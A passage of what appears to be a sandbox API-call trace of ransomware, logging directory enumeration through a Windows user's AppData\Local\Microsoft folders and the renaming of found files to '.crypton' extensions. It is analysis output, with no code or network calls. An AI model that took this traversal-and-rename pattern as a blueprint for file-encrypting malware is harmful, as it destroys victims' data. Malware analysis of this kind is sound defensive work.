ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0xffffffff [0195.336] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1c8cbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c8cbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549810 [0195.352] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1cb2d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1cb2d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.353] FindClose (in: hFindFile=0x549850 | out: hFindFile=0x549850) returned 1 [0195.361] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xf1cd8ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1cd8ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.368] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1cd8ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1cd8ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.374] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1cff000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1cff000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.379] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1cff000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1cff000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.396] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1d25160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1d25160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.404] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1d4b2c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1d4b2c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.409] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1d4b2c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1d4b2c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.414] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1d4b2c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1d4b2c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.420] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1d71420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1d71420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.443] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat.crypton"), dwFlags=0x2) returned 1 [0195.449] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf1dbd6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1dbd6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0195.455] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xf1dbd6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1dbd6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.755] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat.crypton"), dwFlags=0x2) returned 1 [0196.306] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf25ec280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf25ec280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.318] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf25ec280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf25ec280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.326] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf26123e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf26123e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.332] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf26123e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf26123e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.338] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2638540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2638540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.347] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.crypton"), dwFlags=0x2) returned 1 [0196.353] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf265e6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf265e6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.358] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf265e6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf265e6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.362] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf265e6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf265e6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.364] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.crypton"), dwFlags=0x2) returned 1 [0196.370] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf2684800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2684800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.388] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat.crypton"), dwFlags=0x2) returned 1 [0196.394] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf26aa960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf26aa960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.402] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat.crypton"), dwFlags=0x2) returned 1 [0196.415] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.crypton"), dwFlags=0x2) returned 1 [0196.420] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf26f6c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf26f6c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.426] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf26f6c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf26f6c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.432] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf271cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf271cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0196.436] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.crypton"), dwFlags=0x2) returned 1 [0196.442] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.crypton"), dwFlags=0x2) returned 1 [0196.448] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.crypton"), dwFlags=0x2) returned 1 [0196.454] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.crypton"), dwFlags=0x2) returned 1 [0196.460] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2742ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2742ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0196.465] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2769040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2769040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0196.470] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2769040, 